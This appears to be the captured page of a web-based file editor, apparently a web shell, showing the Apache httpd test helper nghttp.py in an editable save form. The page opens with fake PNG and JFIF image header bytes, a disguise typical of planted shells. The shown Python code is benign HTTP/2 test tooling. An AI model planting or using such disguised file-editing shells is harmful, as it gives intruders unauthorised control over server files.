�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2F'>httpd-2.4.63</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Ftest%2F'>test</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Ftest%2Fpyhttpd%2F'>pyhttpd</a>/</p><hr><h3>✏️ Editing: nghttp.py</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>import re
import os
import subprocess
from datetime import datetime
from typing import Dict

from urllib.parse import urlparse

from .result import ExecResult


def _get_path(x):
    return x[&quot;path&quot;]
    

class Nghttp:

    def __init__(self, path, connect_addr=None, tmp_dir=&quot;/tmp&quot;,
                 test_name: str = None):
        self.NGHTTP = path
        self.CONNECT_ADDR = connect_addr
        self.TMP_DIR = tmp_dir
        self._test_name = test_name

    @staticmethod
    def get_stream(streams, sid):
        sid = int(sid)
        if sid not in streams:
            streams[sid] = {
                    &quot;id&quot;: sid,
                    &quot;header&quot;: {},
                    &quot;request&quot;: {
                        &quot;id&quot;: sid,
                        &quot;body&quot;: b&#039;&#039;
                    },
                    &quot;response&quot;: {
                        &quot;id&quot;: sid,
                        &quot;body&quot;: b&#039;&#039;
                    },
                    &quot;data_lengths&quot;: [],
                    &quot;paddings&quot;: [],
                    &quot;promises&quot;: []
            }
        return streams[sid] if sid in streams else None

    def run(self, urls, timeout, options):
        return self._baserun(urls, timeout, options)

    def complete_args(self, url, _timeout, options: [str]) -&gt; [str]:
        if not isinstance(url, list):
            url = [url]
        u = urlparse(url[0])
        args = [self.NGHTTP]
        if self.CONNECT_ADDR:
            connect_host = self.CONNECT_ADDR
            args.append(&quot;--header=host: %s:%s&quot; % (u.hostname, u.port))
        else:
            connect_host = u.hostname
        if options:
            args.extend(options)
        for xurl in url:
            xu = urlparse(xurl)
            nurl = &quot;%s://%s:%s/%s&quot; % (u.scheme, connect_host, xu.port, xu.path)
            if xu.query:
                nurl = &quot;%s?%s&quot; % (nurl, xu.query)
            args.append(nurl)
        return args

    def _baserun(self, url, timeout, options):
        return self._run(self.complete_args(url, timeout, options))
    
    def parse_output(self, btext) -&gt; Dict:
        # getting meta data and response body out of nghttp&#039;s output
        # is a bit tricky. Without &#039;-v&#039; we just get the body. With &#039;-v&#039; meta
        # data and timings in both directions are listed. 
        # We rely on response :status: to be unique and on 
        # response body not starting with space.
        # Something not good enough for general purpose, but for these tests.
        output = {}
        body = &#039;&#039;
        streams = {}
        skip_indents = True
        # chunk output into lines. nghttp mixes text
        # meta output with bytes from the response body.
        lines = [l.decode() for l in btext.split(b&#039;\n&#039;)]

        for lidx, l in enumerate(lines):
            if len(l) == 0:
                body += &#039;\n&#039;
                continue
            m = re.match(r&#039;(.*)\[.*] recv \(stream_id=(\d+)\) (\S+): (\S*)&#039;, l)
            if m:
                body += m.group(1)
                s = self.get_stream(streams, m.group(2))
                hname = m.group(3)
                hval = m.group(4)
                print(&quot;stream %d header %s: %s&quot; % (s[&quot;id&quot;], hname, hval))
                header = s[&quot;header&quot;]
                if hname in header: 
                    header[hname] += &quot;, %s&quot; % hval
                else:
                    header[hname] = hval
                continue

            m = re.match(r&#039;(.*)\[.*] recv HEADERS frame &lt;.* stream_id=(\d+)&gt;&#039;, l)
            if m:
                body += m.group(1)
                s = self.get_stream(streams, m.group(2))
                if s:
                    print(&quot;stream %d: recv %d header&quot; % (s[&quot;id&quot;], len(s[&quot;header&quot;])))
                    response = s[&quot;response&quot;]
                    hkey = &quot;header&quot;
                    if &quot;header&quot; in response:
                        h = response[&quot;header&quot;]
                        if &quot;:status&quot; in h and int(h[&quot;:status&quot;]) &gt;= 200:
                            hkey = &quot;trailer&quot;
                        else:
                            prev = {
                                &quot;header&quot;: h
                            }
                            if &quot;previous&quot; in response:
                                prev[&quot;previous&quot;] = response[&quot;previous&quot;]
                            response[&quot;previous&quot;] = prev
                    response[hkey] = s[&quot;header&quot;]
                    s[&quot;header&quot;] = {}
                    body = &#039;&#039;
                continue
            
            m = re.match(r&#039;(.*)\[.*] recv DATA frame &lt;length=(\d+), .*stream_id=(\d+)&gt;&#039;, l)
            if m:
                body += m.group(1)
                s = self.get_stream(streams, m.group(3))
                blen = int(m.group(2))
                if s:
                    print(f&#039;stream {s[&quot;id&quot;]}: {blen} DATA bytes added via &quot;{l}&quot;&#039;)
                    padlen = 0
                    if len(lines) &gt; lidx + 2:
                        mpad = re.match(r&#039; +\(padlen=(\d+)\)&#039;, lines[lidx+2])
                        if mpad: 
                            padlen = int(mpad.group(1))
                    s[&quot;data_lengths&quot;].append(blen)
                    s[&quot;paddings&quot;].append(padlen)
                    blen -= padlen
                    s[&quot;response&quot;][&quot;body&quot;] += body[-blen:].encode()
                body = &#039;&#039;
                skip_indents = True
                continue
                
            m = re.match(r&#039;(.*)\[.*] recv PUSH_PROMISE frame &lt;.* stream_id=(\d+)&gt;&#039;, l)
            if m:
                body += m.group(1)
                s = self.get_stream(streams, m.group(2))
                if s:
                    # headers we have are request headers for the PUSHed stream
                    # these have been received on the originating stream, the promised
                    # stream id it mentioned in the following lines
                    print(&quot;stream %d: %d PUSH_PROMISE header&quot; % (s[&quot;id&quot;], len(s[&quot;header&quot;])))
                    if len(lines) &gt; lidx+2:
                        m2 = re.match(r&#039;\s+\(.*promised_stream_id=(\d+)\)&#039;, lines[lidx+2])
                        if m2:
                            s2 = self.get_stream(streams, m2.group(1))
                            s2[&quot;request&quot;][&quot;header&quot;] = s[&quot;header&quot;]
                            s[&quot;promises&quot;].append(s2)
                    s[&quot;header&quot;] = {} 
                continue
                    
            m = re.match(r&#039;(.*)\[.*] recv (\S+) frame &lt;length=(\d+), .*stream_id=(\d+)&gt;&#039;, l)
            if m:
                print(&quot;recv frame %s on stream %s&quot; % (m.group(2), m.group(4)))
                body += m.group(1)
                skip_indents = True
                continue
                
            m = re.match(r&#039;(.*)\[.*] send (\S+) frame &lt;length=(\d+), .*stream_id=(\d+)&gt;&#039;, l)
            if m:
                print(&quot;send frame %s on stream %s&quot; % (m.group(2), m.group(4)))
                body += m.group(1)
                skip_indents = True
                continue
                
            if skip_indents and l.startswith(&#039;      &#039;):
                continue
            
            if &#039;[&#039; != l[0]:
                skip_indents = None
                body += l + &#039;\n&#039;

        # the main request is done on the lowest odd numbered id
        main_stream = 99999999999
        for sid in streams:
            s = streams[sid]
            if &quot;header&quot; in s[&quot;response&quot;] and &quot;:status&quot; in s[&quot;response&quot;][&quot;header&quot;]:
                s[&quot;response&quot;][&quot;status&quot;] = int(s[&quot;response&quot;][&quot;header&quot;][&quot;:status&quot;])
            if (sid % 2) == 1 and sid &lt; main_stream:
                main_stream = sid
        
        output[&quot;streams&quot;] = streams
        if main_stream in streams:
            output[&quot;response&quot;] = streams[main_stream][&quot;response&quot;]
            output[&quot;paddings&quot;] = streams[main_stream][&quot;paddings&quot;]
            output[&quot;data_lengths&quot;] = streams[main_stream][&quot;data_lengths&quot;]
        return output

    def _raw(self, url, timeout, options):
        args = [&quot;-v&quot;]
        if self._test_name is not None:
            args.append(f&#039;--header=AP-Test-Name: {self._test_name}&#039;)
        if options:
            args.extend(options)
        r = self._baserun(url, timeout, args)
        if 0 == r.exit_code:
            r.add_results(self.parse_output(r.outraw))
        return r

    def get(self, url, timeout=5, options=None):
        return self._raw(url, timeout, options)

    def assets(self, url, timeout=5, options=None):
        if not options:
            options = []
        options.extend([&quot;-ans&quot;])
        r = self._baserun(url, timeout, options)
        assets = []
        if 0 == r.exit_code:
            lines = re.findall(r&#039;[^\n]*\n&#039;, r.stdout, re.MULTILINE)
            for lidx, l in enumerate(lines):
                m = re.match(r&#039;\s*(\S+)\s+(\S+)\s+(\S+)\s+(\S+)\s+(\S+)\s+(\S+)\s+/*(/.*)&#039;, l)
                if m:
                    assets.append({
                        &quot;path&quot;: m.group(7),
                        &quot;status&quot;: int(m.group(5)),
                        &quot;size&quot;: m.group(6)
                    })
        assets.sort(key=_get_path)
        r.add_assets(assets)
        return r

    def post_data(self, url, data, timeout=5, options=None):
        reqbody = (&quot;%s/nghttp.req.body&quot; % self.TMP_DIR)
        with open(reqbody, &#039;wb&#039;) as f:
            f.write(data.encode(&#039;utf-8&#039;))
        if not options:
            options = []
        options.extend([&quot;--data=%s&quot; % reqbody])
        return self._raw(url, timeout, options)

    def post_name(self, url, name, timeout=5, options=None):
        reqbody = (&quot;%s/nghttp.req.body&quot; % self.TMP_DIR)
        with open(reqbody, &#039;w&#039;) as f:
            f.write(&quot;--DSAJKcd9876\r\n&quot;)
            f.write(&quot;Content-Disposition: form-data; name=\&quot;value\&quot;; filename=\&quot;xxxxx\&quot;\r\n&quot;)
            f.write(&quot;Content-Type: text/plain\r\n&quot;)
            f.write(f&quot;\r\n{name}&quot;)
            f.write(&quot;\r\n--DSAJKcd9876\r\n&quot;)
        if not options:
            options = []
        options.extend([ 
            &quot;--data=%s&quot; % reqbody, 
            &quot;-HContent-Type: multipart/form-data; boundary=DSAJKcd9876&quot;])
        return self._raw(url, timeout, options)

    def upload(self, url, fpath, timeout=5, options=None):
        if not options:
            options = []
        options.extend([&quot;--data=%s&quot; % fpath])
        return self._raw(url, timeout, options)

    def upload_file(self, url, fpath, timeout=5, options=None):
        fname = os.path.basename(fpath)
        reqbody = (&quot;%s/nghttp.req.body&quot; % self.TMP_DIR)
        with open(fpath, &#039;rb&#039;) as fin:
            with open(reqbody, &#039;wb&#039;) as f:
                preamble = [
                    &#039;--DSAJKcd9876&#039;,
                    &#039;Content-Disposition: form-data; name=&quot;xxx&quot;; filename=&quot;xxxxx&quot;&#039;,
                    &#039;Content-Type: text/plain&#039;,
                    &#039;&#039;,
                    &#039;testing mod_h2&#039;,
                    &#039;\r\n--DSAJKcd9876&#039;,
                    f&#039;Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;{fname}&quot;&#039;,
                    &#039;Content-Type: application/octet-stream&#039;,
                    &#039;Content-Transfer-Encoding: binary&#039;,
                    &#039;&#039;, &#039;&#039;
                ]
                f.write(&#039;\r\n&#039;.join(preamble).encode(&#039;utf-8&#039;))
                f.write(fin.read())
                f.write(&#039;\r\n&#039;.join([
                    &#039;\r\n--DSAJKcd9876&#039;, &#039;&#039;
                ]).encode(&#039;utf-8&#039;))
        if not options:
            options = []
        options.extend([ 
            &quot;--data=%s&quot; % reqbody, 
            &quot;--expect-continue&quot;, 
            &quot;-HContent-Type: multipart/form-data; boundary=DSAJKcd9876&quot;])
        return self._raw(url, timeout, options)

    def _run(self, args) -&gt; ExecResult:
        print((&quot;execute: %s&quot; % &quot; &quot;.join(args)))
        start = datetime.now()
        p = subprocess.run(args, capture_output=True, text=False)
        return ExecResult(args=args, exit_code=p.returncode,
                          stdout=p.stdout, stderr=p.stderr,
                          duration=datetime.now() - start)
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Ftest%2Fpyhttpd'>🔙 Back</a></p>